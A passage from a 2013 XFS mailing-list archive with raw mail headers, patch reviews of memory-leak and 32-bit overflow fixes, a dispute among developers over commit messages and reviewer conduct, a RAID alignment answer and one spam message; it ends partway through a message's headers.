oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 87EB17F3F for ; Wed, 25 Sep 2013 09:28:47 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 21BB5AC005 for ; Wed, 25 Sep 2013 07:28:46 -0700 (PDT) X-ASG-Debug-ID: 1380119325-04bdf02f221444be0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id YX4LB5XAiPbhiper for ; Wed, 25 Sep 2013 07:28:45 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id C209B6182E0E; Wed, 25 Sep 2013 09:28:44 -0500 (CDT) Message-ID: <5242F31B.4060902@sandeen.net> Date: Wed, 25 Sep 2013 09:28:43 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Li Zhong CC: Mark Tinguely , Chandra Seetharaman , xfsprogs Subject: Re: [PATCH v2] xfsprogs: fix potential memory leak in verify_set_primary_sb() References: <1379829679.4089.2.camel@ThinkPad-T5421> <5241E125.7010902@sgi.com> <1380094327.2526.5.camel@ThinkPad-T5421> X-ASG-Orig-Subj: Re: [PATCH v2] xfsprogs: fix potential memory leak in verify_set_primary_sb() In-Reply-To: <1380094327.2526.5.camel@ThinkPad-T5421> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1380119325 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140913 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 9/25/13 2:32 AM, Li Zhong wrote: > This patch tries to fix CID 997012, 997013 and 997014 reported by Coverity scan, > as suggested by sekharan. > > v2: as Mark pointed out, out in the for loop before also needs list to > be freed. Also remove out lable as it is not referenced any more. Fix itself looks good, thanks! Love to see the scan numbers change for the better. ;) Nitpicks, though: Patch changelogs usually goes below the "---" so the history of trial and error isn't in the commit log. Not that big a deal, it's just convention as mentioned in the kernel SubmittingPatches doc: > The "---" marker line serves the essential purpose of marking for patch > handling tools where the changelog message ends. > > One good use for the additional comments after the "---" marker is for > a diffstat, to show what files have changed, and the number of > inserted and deleted lines per file. A diffstat is especially useful > on bigger patches. Other comments relevant only to the moment or the > maintainer, not suitable for the permanent changelog, should also go > here. A good example of such comments might be "patch changelogs" > which describe what has changed between the v1 and v2 version of the > patch. And since we're on the topic of commit messages lately, this one could be improved too I think. "CID 997012" won't mean anything to a reader in the future. It'd be better to describe what you're fixing on its own terms. Something like: === If verify_set_primary_sb() completes the secondary sb scanning loop with too few valid secondaries found (num_ok < num_sbs / 2), it will immediately return without freeing any of the previously allocated memory (variables sb, checked, and any items on the geo list). This was reported by the Coverity scanner as CID 997012, 997013 and 997014. Fix this by using the out_free_list: goto target for this error case. Earlier, if get_sb() fails in the secondary scan loop, it goes to the out: target which does not free any items on the geo list. Fix this by using the out_free_list: target as well, and remove the now-unused out: target. === On the one hand, the fix isn't that complicated so it probably speaks for itself. But it was complicated enough to warrant discussion & V2 on the list, so probably worth including that detail in the final changelog. Also, in looking at this, I wonder if there's another minor buglet. in phase1.c, we turn the return value from verify_set_primary_sb() into an error string via err_string(rval). This handles the various error returns such as XR_INSUFF_SEC_SB, XR_EOF, etc. But in the 2nd case above (get_sb failure), it simply returns "1" which will be interpreted as XR_BAD_MAGIC ("bad magic number"). get_sb() actually returns several XR_* values, so we should probably capture it and use that return value? That'd be a different patch though. I guess the comment for verify_set_primary_sb() would be changed then too, now it says: * returns 1 if bad, 0 if ok but today we actually return 0, 1, or XR_INSUFF_SEC_SB. Not that big a deal, but it seems like the error returns, their handling, and associated comments aren't quite consistent. Thanks, -Eric > Signed-off-by: Li Zhong > --- > repair/sb.c | 9 +++++---- > 1 file changed, 5 insertions(+), 4 deletions(-) > > diff --git a/repair/sb.c b/repair/sb.c > index aa550e3..d34d7a2 100644 > --- a/repair/sb.c > +++ b/repair/sb.c > @@ -733,7 +733,7 @@ verify_set_primary_sb(xfs_sb_t *rsb, > > if (get_sb(sb, off, size, agno) == XR_EOF) { > retval = 1; > - goto out; > + goto out_free_list; > } > > if (verify_sb(sb, 0) == XR_OK) { > @@ -756,8 +756,10 @@ verify_set_primary_sb(xfs_sb_t *rsb, > /* > * see if we have enough superblocks to bother with > */ > - if (num_ok < num_sbs / 2) > - return(XR_INSUFF_SEC_SB); > + if (num_ok < num_sbs / 2) { > + retval = XR_INSUFF_SEC_SB; > + goto out_free_list; > + } > > current = get_best_geo(list); > > @@ -841,7 +843,6 @@ verify_set_primary_sb(xfs_sb_t *rsb, > > out_free_list: > free_geo(list); > -out: > free(sb); > free(checked); > return(retval); > From bpm@sgi.com Wed Sep 25 13:38:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 998E07F37 for ; Wed, 25 Sep 2013 13:38:20 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 701B5304059; Wed, 25 Sep 2013 11:38:17 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 1AC3F4266DC; Wed, 25 Sep 2013 13:38:17 -0500 (CDT) Date: Wed, 25 Sep 2013 13:38:17 -0500 From: Ben Myers To: Dave Chinner Cc: Mark Tinguely , stable@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH] xfs: v2 fix node forward in xfs_node_toosmall Message-ID: <20130925183816.GL1935@sgi.com> References: <20130920220519.585903357@sgi.com> <20130923171911.273669684@sgi.com> <20130923234819.GW9901@dastard> <5241CD70.7050800@sgi.com> <20130924210653.GB26872@dastard> <5242057D.8030404@sgi.com> <20130924233331.GC26872@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130924233331.GC26872@dastard> User-Agent: Mutt/1.5.20 (2009-06-14) Hey Dave, On Wed, Sep 25, 2013 at 09:33:31AM +1000, Dave Chinner wrote: > On Tue, Sep 24, 2013 at 04:34:53PM -0500, Mark Tinguely wrote: > > On 09/24/13 16:06, Dave Chinner wrote: > > >On Tue, Sep 24, 2013 at 12:35:44PM -0500, Mark Tinguely wrote: > > >>On 09/23/13 18:48, Dave Chinner wrote: > > >>>On Mon, Sep 23, 2013 at 12:18:58PM -0500, Mark Tinguely wrote: > > >>>>Commit f5ea1100 cleans up the disk to host conversions for > > >>>>node directory entries, but because a variable is reused in > > >>>>xfs_node_toosmall() the next node is not correctly found. > > >>>>If the original node is small enough (<= 3/8 of the node size), > > >>>>this change may incorrectly cause a node collapse when it should > > >>>>not. > .... > > >>>Also, the "next node" is correctly termed a "sibling", and it's > > >>>either the forwards or backwards sibling, not the "next" sibling as > > >>>the direction of movement is important. So perhaps this > > >>>is better written as: > > >>> > > >>>"When a node is considered for a merge with a sibling, it overwrites > > >>>the sibling pointers of the original node with the sibling's > > >>>pointers. This leads to loop considering the original node as a > > >>>merge candidate with itself in the second pass, and so it > > >>>incorrectly determines a merge should occur." > > >>> > > >> > > >>Are you done ranting? Get the @#$% bug patched. > > > > > >I'm deeply sorry you feel that way about the review process - it's > > >not just code that matters. Experience has shown us time and time > > >again that accurate and complete commit messages are extremely > > >valuable as they document the symptoms of a problem being fixed and > > >why the fix was needed. > ..... > > > > You do not always practice what you preach - here is the commit > > message from the patch that caused this whole problem: > > > > commit f5ea110044fa858925a880b4fa9f551bfa2dfc38 > > Author: Dave Chinner > > Date: Wed Apr 24 18:58:02 2013 +1000 > > > > xfs: add CRCs to dir2/da node blocks > > > > Signed-off-by: Dave Chinner > > Reviewed-by: Ben Myers > > Signed-off-by: Ben Myers > > > > Did this patch just add CRCs to node blocks? no. > > > > And how about your patches that do not need a commit message at all?! > > The above commit has a very different context surrounding it - it > was in the middle of a major feaure addition series where the > process of additions had been described in the previous commits, and > the one-line description is sufficient for future readers to > determine that the commit is not a bug fix. > > If a reviewer doesn't speak up about something, then that implies > the reviewer considers it acceptible. I disagree with that statement. A reviewer might not speak up about a flaw in a work for for other reasons. There are more than two alternatives in this context. For example... > In this case, the reviewer > (Ben) seemed to think the one-line description of the commit was > acceptible for the context in which it was being proposed and > committed. I wasn't happy with the lack of the description in those commits, and probably should have spoken up about it. In this case I weighed the frustration due to the argument that would almost certainly have ensued against the benefit of a decent commit message, and punted. That's similar to what happened when I pulled in the 1st half of the userspace crc-dev work after you refused to address my concerns in review. I punted again, because the argument would have been more nuisance than it was worth. Clearly I need to stop punting so often. But since many a suggestion made by Mark or myself is taken as a bloody travesty and an argument ensues... I have to admit to some fatigue in this area. > > Are these exceptions? No, I have done enough reviews of your > > patches, and some of your commit message are less than stunning. > > Sure, some of my commit messages need work, especially as I'm > spelling and grammar challenged at the best of times. I make no > claim that they are perfect, but I do try to make the sufficient for > the context in which they are being proposed. > > However - it is *your responsibility as a reviewer* to ask the > author to write a more complete change log or fix omissions or > clarify parts of the commit message that need improvement. ... > If the > reviewer does not ask for improvements or you chose not to review > the proposed patches, then you have no grounds to complain about the > contents of patches that were committed on your watch... I disagree. The act of committing a patch does not necessarily imply an agreement regarding it's contents. I am often in a position where I have to commit patches that I don't fully agree with. This doesn't imply that I've waived my right to whine about bad commits later. ;) > > when your preaching, and not so subtle digs at me or SGI gets to the > > point of rewriting commit messages even I can't hold my tongue any > > more. > > You are reading way too much into a simple request, Mark. > Constructive criticism of your code is not a personal attack. I suspect the issue is not really with this particular request. There is a cumulative effect to the toxicity that you seem to feel the need to bring to the list, and it sounds like Mark is full up. This is gonna sound soft coming from a grown man, but I'll call it for what I think it is: Bullying. And to the extent that I've taken part or watched others get planed and done nothing, I think I have to take this as a stain on my own character. The constructive criticism is fine. The bullying needs to stop. Technical prowess is not license to act badly. Knock it off. > Quite frankly, I don't care who submits the code or who they work for > - I apply the same *peer review criteria* to all code that is > proposed. I'm here to make sure the code is robust, solid and > maintainable into the forseeable future. I'm here to tear your patches > apart and then help put it back together better than it was before. It > simply doesn't matter who submits the code... I'm pleased to hear that you don't care who submits code, but it sure seems like you're grinding an axe for Mark to me. > > PS. I told Ben that I do not appreciate commit messages being > > changed. > > Ben did the right thing. Maintainers rewrite commit messages to > improve them all the time... I handled it badly. It was probably ok to pull in your suggestion into the commit message as long as it was attributed properly, but it was more aggressive than was necessary, and I can understand why Mark didn't appreciate it. Also, I really needn't have been snarky about it. Apologies to Mark. Regards, Ben From proaudio86@proaudio11.eicp.net Wed Sep 25 13:53:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=DATE_IN_PAST_12_24, HTML_MESSAGE,MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CAA067F37 for ; Wed, 25 Sep 2013 13:53:51 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id B58FC304053 for ; Wed, 25 Sep 2013 11:53:50 -0700 (PDT) X-ASG-Debug-ID: 1380135226-04cb6c37775a8ea0001-NocioJ Received: from proaudio11.eicp.net ([163.142.212.42]) by cuda.sgi.com with SMTP id LGvTIyFjDRpcdcXz for ; Wed, 25 Sep 2013 11:53:47 -0700 (PDT) X-Barracuda-Envelope-From: proaudio86@proaudio11.eicp.net X-Barracuda-Apparent-Source-IP: 163.142.212.42 Received: from RI8WENXOP0O94HI[127.0.0.1] by RI8WENXOP0O94HI[127.0.0.1] (SMTPD32); Wed, 25 Sep 2013 08:24:32 +0800 From: "proaudio products" Subject: re:microphone product To: "xfs" X-ASG-Orig-Subj: re:microphone product MIME-Version: 1.0 Sender: proaudio86@proaudio11.eicp.net Reply-To: sales@oksnaudio.com Date: Wed, 25 Sep 2013 08:24:32 +0800 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Barracuda-Connect: UNKNOWN[163.142.212.42] X-Barracuda-Start-Time: 1380135226 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.06 X-Barracuda-Spam-Status: No, SCORE=1.06 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DATE_IN_PAST_12_24, DATE_IN_PAST_12_24_2, HTML_MESSAGE, MIME_HTML_ONLY, MISSING_MID, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140919 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 0.01 DATE_IN_PAST_12_24 Date: is 12 to 24 hours before Received: date 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.80 DATE_IN_PAST_12_24_2 DATE_IN_PAST_12_24_2 Message-Id: <20130925185350.908561296197@cuda.sgi.com>


    hi

    We are professional manufacturer microphone manufacturers, if you need, we send you the price list.

    thanks

    daner

    From sandeen@sandeen.net Wed Sep 25 16:03:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4D9227F37 for ; Wed, 25 Sep 2013 16:03:12 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 327B2304048 for ; Wed, 25 Sep 2013 14:03:09 -0700 (PDT) X-ASG-Debug-ID: 1380142987-04cb6c2e9f14194a0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id FweuiJhghdwoavPz for ; Wed, 25 Sep 2013 14:03:07 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 06FCC69AC381; Wed, 25 Sep 2013 16:03:06 -0500 (CDT) Message-ID: <52434F8A.9040703@sandeen.net> Date: Wed, 25 Sep 2013 16:03:06 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Ben Myers CC: Dave Chinner , Mark Tinguely , xfs@oss.sgi.com Subject: Re: [PATCH] xfs: v2 fix node forward in xfs_node_toosmall References: <20130920220519.585903357@sgi.com> <20130923171911.273669684@sgi.com> <20130923234819.GW9901@dastard> <5241CD70.7050800@sgi.com> <20130924210653.GB26872@dastard> <5242057D.8030404@sgi.com> <20130924233331.GC26872@dastard> <20130925183816.GL1935@sgi.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: v2 fix node forward in xfs_node_toosmall In-Reply-To: <20130925183816.GL1935@sgi.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1380142987 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140922 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- [stable@vger.kernel.org stripped from this fascinating thread] On 9/25/13 1:38 PM, Ben Myers wrote: > Hey Dave, > > On Wed, Sep 25, 2013 at 09:33:31AM +1000, Dave Chinner wrote: >> If a reviewer doesn't speak up about something, then that implies >> the reviewer considers it acceptible. > > I disagree with that statement. A reviewer might not speak up about a > flaw in a work for for other reasons. There are more than two > alternatives in this context. For example... >> If the >> reviewer does not ask for improvements or you chose not to review >> the proposed patches, then you have no grounds to complain about the >> contents of patches that were committed on your watch... > > I disagree. The act of committing a patch does not necessarily imply an > agreement regarding it's contents. I am often in a position where I > have to commit patches that I don't fully agree with. This doesn't > imply that I've waived my right to whine about bad commits later. ;) If you don't like it, don't add reviewed-by. If you don't like the reviews, don't sign off, don't merge it. As maintainer you have that right, but to be a good maintainer, you need a strong reason. And if you have a strong technical concern, then it's the patch author's duty to take it seriously, or risk not getting the patch merged. And the author might argue back. And other people might argue back. And in the end, if we can all keep our cool, the code will be better for it. If you apply clear and consistent merge criteria then people will know what to expect. When you send a Reviewed-by: that's a pretty strong indication of agreement. There shouldn't be a lot of misunderstanding about what it means; the kernel doc (Documentation/SubmittingPatches) is very clear: === Reviewer's statement of oversight By offering my Reviewed-by: tag, I state that: (a) I have carried out a technical review of this patch to evaluate its appropriateness and readiness for inclusion into the mainline kernel. (b) Any problems, concerns, or questions relating to the patch have been communicated back to the submitter. I am satisfied with the submitter's response to my comments. (c) While there may be things that could be improved with this submission, I believe that it is, at this time, (1) a worthwhile modification to the kernel, and (2) free of known issues which would argue against its inclusion. (d) While I have reviewed the patch and believe it to be sound, I do not (unless explicitly stated elsewhere) make any warranties or guarantees that it will achieve its stated purpose or function properly in any given situation. === If you can't get behind that, don't add your Reviewed-by: and continue to work it out until you can. Reviewers should be sure to pay attention to point (c) as well, something I sometimes forget myself. Reviews don't have to be heeded, either. They don't have to be gauntlets thrown down or lines in the sand. "You've corrupted memory here" is different from "you could use an args struct instead of 8 arguments" or "your commit log isn't very descriptive." Discretion abounds. As a reviewer once said on another list, "I'm free to share what occurs to me and you're free to tell me to go jump in a lake." Especially for cosmetic issues, that's a pretty good POV. Sometimes it's trickier. As maintainer I guess you get to decide if a review concern has enough merit to hold up merging. Ignoring a compelling technical concern could be risky. Maybe one reviewer is dissatisfied, and another is satisfied. Then you get to play Solomon again. Life goes on, I hope. -Eric From stan@hardwarefreak.com Wed Sep 25 16:18:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1A5797F4E for ; Wed, 25 Sep 2013 16:18:31 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id B1AFFAC001 for ; Wed, 25 Sep 2013 14:18:27 -0700 (PDT) X-ASG-Debug-ID: 1380143906-04cb6c350197750001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id ND2sMUA1q2g7jC2l for ; Wed, 25 Sep 2013 14:18:26 -0700 (PDT) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 4D1886C177; Wed, 25 Sep 2013 16:18:26 -0500 (CDT) Message-ID: <52435327.9080607@hardwarefreak.com> Date: Wed, 25 Sep 2013 16:18:31 -0500 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Stewart Webb CC: xfs@oss.sgi.com Subject: Re: xfs hardware RAID alignment over linear lvm References: X-ASG-Orig-Subj: Re: xfs hardware RAID alignment over linear lvm In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1380143906 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 9/25/2013 7:56 AM, Stewart Webb wrote: > Hi All, Hi Stewart, > I am trying to do the following: > 3 x Hardware RAID Cards each with a raid 6 volume of 12 disks presented to > the OS > all raid units have a "stripe size" of 512 KB Just for future reference so you're using correct terminology, a value of 512KB is surely your XFS su value, also called a "strip" in LSI terminology, or a "chunk" in Linux software md/RAID terminology. This is the amount of data written to each data spindle (excluding parity) in the array. "Stripe size" is a synonym of XFS sw, which is su * #disks. This is the amount of data written across the full RAID stripe (excluding parity). > so given the info on the xfs.org wiki - I sould give each filesystem a > sunit of 512 KB and a swidth of 10 (because RAID 6 has 2 parity disks) Partially correct. If you format each /dev/[device] presented by the RAID controller with an XFS filesystem, 3 filesystems total, then your values above are correct. EXCEPT you must use the su/sw parameters in mkfs.xfs if using BYTE values. See mkfs.xfs(8) > all well and good > > But - I would like to use Linear LVM to bring all 3 cards into 1 logical > volume - > here is where my question crops up: > Does this effect how I need to align the filesystem? In the case of a concatenation, which is what LVM linear is, you should use an XFS alignment identical to that for a single array as above. -- Stan From david@fromorbit.com Wed Sep 25 16:32:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 788447F4E for ; Wed, 25 Sep 2013 16:32:34 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 66B3E8F8073 for ; Wed, 25 Sep 2013 14:32:31 -0700 (PDT) X-ASG-Debug-ID: 1380144748-04cb6c153d1416f90001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id nkUqhHf8zPU6ftXZ for ; Wed, 25 Sep 2013 14:32:29 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkoPAKtVQ1J5LCC0/2dsb2JhbABbgwc4gxOpSgOPCoU8gSEXdIIlAQEEAScTHCMFCwgDFQMJJQ8FDRgDIROHdAMJBQ2yQw2JahaMUBmCUgeEHQOWE4FoijmCDIUzgzYq Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail07.adl2.internode.on.net with ESMTP; 26 Sep 2013 07:02:28 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VOwh6-0003io-Gf; Thu, 26 Sep 2013 07:32:24 +1000 Date: Thu, 26 Sep 2013 07:32:24 +1000 From: Dave Chinner To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH v2 RESEND] xfs: fix dead loop at xfs_vm_writepage() on 32bit machine Message-ID: <20130925213224.GG26872@dastard> X-ASG-Orig-Subj: Re: [PATCH v2 RESEND] xfs: fix dead loop at xfs_vm_writepage() on 32bit machine References: <52429A6C.3050908@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52429A6C.3050908@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1380144748 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.50 X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA620b, MAILTO_TO_SPAM_ADDR X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140923 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email 0.50 BSF_SC0_SA620b Custom Rule SA620b On Wed, Sep 25, 2013 at 04:10:20PM +0800, Jeff Liu wrote: > From: Jie Liu > > Write a file with an offset greater than 16TB on 32-bit system and > then trigger page write-back via sync(1) as below will cause the > task hang in a little while: [snip] > This patch just fixed both issues. > > Reported-by: Michael L. Semon > Signed-off-by: Jie Liu > --- > v2: don't reset the s_max_bytes to MAX_LFS_FILESIZE, instead, revise the page offset > check up strategy to avoid the potential overflow. > v1: http://oss.sgi.com/archives/xfs/2013-07/msg00154.html > > fs/xfs/xfs_aops.c | 11 ++++++----- > 1 file changed, 6 insertions(+), 5 deletions(-) > > diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c > index 41a6950..6059d00 100644 > --- a/fs/xfs/xfs_aops.c > +++ b/fs/xfs/xfs_aops.c > @@ -969,7 +969,9 @@ xfs_vm_writepage( > offset = i_size_read(inode); > end_index = offset >> PAGE_CACHE_SHIFT; > last_index = (offset - 1) >> PAGE_CACHE_SHIFT; > - if (page->index >= end_index) { > + if (page->index < end_index) > + end_offset = (xfs_off_t)(page->index + 1) << PAGE_CACHE_SHIFT; > + else { > unsigned offset_into_page = offset & (PAGE_CACHE_SIZE - 1); The logic here is already difficult to understand, and the fact that the code that has 32 bit overflow issues is not obvious . Can you add a comment noting the overflow issue being handled here? > > /* > @@ -978,7 +980,8 @@ xfs_vm_writepage( > * page so that reclaim stops reclaiming it. Otherwise > * xfs_vm_releasepage() is called on it and gets confused. > */ > - if (page->index >= end_index + 1 || offset_into_page == 0) > + if (page->index > end_index || > + (page->index == end_index && offset_into_page == 0)) > goto redirty; And again here? That means in future we will be aware of the problem when reading the code... Cheers, Dave. -- Dave Chinner david@fromorbit.com From lists@colorremedies.com Wed Sep 25 16:34:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8FA5F7F4E for ; Wed, 25 Sep 2013 16:34:11 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3BA14AC002 for ; Wed, 25 Sep 2013 14:34:05 -0700 (PDT) X-ASG-Debug-ID: 1380144843-04bdf053874fb5d0001-NocioJ Received: from slmp-550-94.slc.westdc.net (slmp-550-94.slc.westdc.net [50.115.112.57]) by cuda.sgi.com with ESMTP id 9zdPKLzx63hv6F6T (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 25 Sep 2013 14:34:03 -0700 (PDT) X-Barracuda-Envelope-From: lists@colorremedies.com X-Barracuda-Apparent-Source-IP: 50.115.112.57 Received: from c-67-165-243-162.hsd1.co.comcast.net ([67.165.243.162]:58238 helo=[192.168.1.126]) by slmp-550-94.slc.westdc.net with esmtpsa (TLSv1:AES128-SHA:128) (Exim 4.80.1) (envelope-from ) id 1VOwig-004HsS-G1 for xfs@oss.sgi.com; Wed, 25 Sep 2013 15:34:02 